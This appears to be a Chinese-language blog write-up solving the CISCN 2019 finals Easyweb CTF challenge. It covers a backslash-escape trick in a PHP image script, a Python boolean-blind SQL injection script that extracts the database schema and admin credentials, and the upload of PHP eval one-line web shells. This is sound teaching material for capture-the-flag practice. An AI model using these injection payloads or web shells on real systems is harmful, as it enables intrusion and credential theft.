[CISCN2019 总决赛 Day2 Web1]Easyweb

访问页面;
看到login页面不能心急,先进行一波信息收集,看看有没有其他文件;
在view-source中看到user.php;
user.php
再看看robots.txt等等;
也可以用wctf-scan扫一下;
可以看到有备份文件;
备份文件
扫描一下,得到image.php.bak文件;
以下为源码:

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

addslashes()在每个双引号前会添加一个转义符号;
还会将数组里的符号(\0、%00、’、’)都替换成空;
最后执行sql语句;
首先,为了绕过addslashes(),不能用双引号;
其次,在str_replace()函数操作下,可以利用替换来闭合id的第一个单引号;
id=\\0
id=\\0经过函数处理后面的\0被替换成了空,变成了id=\
这样在执行sql语句时,sql语句变成了:

select * from images where id='【\' or path=】'    {$path}'

此时id=\' or path=
因此,现在需要输入path来注释剩下的一个单引号,并且利用path来进行注入;
path=or if(length(database())>5,1,0)#
这样,代入完整语句为:

select * from images where id='【\' or path=】' or 1=if(length(database())>5,1,0)#

因此payload为:

id=\\0&path= or 1=if(length(database())>5,1,0) --+

这个payload测试一下是否为bool盲注;
结果是符合预期的;
在true情况下,会显示图片,在false情况下,会显示如下信息;
false下回显
这样我们就可以动手写脚本了;

import requests
import time

url = 'http://18c8df53-6d02-48f3-a287-05d6d36dbf7e.node3.buuoj.cn/image.php?id=\\0&path=or%20'
flag = ''

for i in range(1, 100):
    low = 32
    high = 128
    mid = (low + high) >> 1
    while low < high:
        payload = '1^(ascii(substr(database(),%d,1))>%d)--+' % (i, mid)
        res = requests.get(url + payload)

        if "JFIF" in res.text:			#JFIF代表图片,如果图片显示成功则返回为true
            high = mid
        else:
            low = mid + 1
        mid = (low + high) >> 1
        time.sleep(1)
    if (mid==32 or high==127):
        break
    flag = flag + chr(mid)
    print(flag)

跑出来是
ciscnfinal
接下来老样子,跑表;

payload = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)--+" % (i, mid)

不得不说Pycharm 社区版真的慢得不行!
最后跑出来
images,users
images就不看了,直接看users;

payload = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),%d,1))>%d)--+" % (i, mid)

发现爆不出来,换成十六进制再试试;

payload = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema=0x636973636e66696e616c)and(table_name=0x7573657273)),%d,1))>%d)--+" % (i, mid)

爆出了
username,password
看看内容;

payload = "1^(ascii(substr((select group_concat(username,0x2b,password)from users),%d,1))>%d)--+" % (i, mid)

得到
admin+1a5f1401f1660d2b3318
登录成功;
文件上传
接着是一个文件上传;
上🐎;

<?php @eval($_POST['k1ose']);?> 

上传显示连接被重置了…我也不知道是什么情况;
看网上这个情况会被过滤;
换个🐎;

<?=@eval($_POST['k1ose'];?>

蚁剑链接就拿到flag了;

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值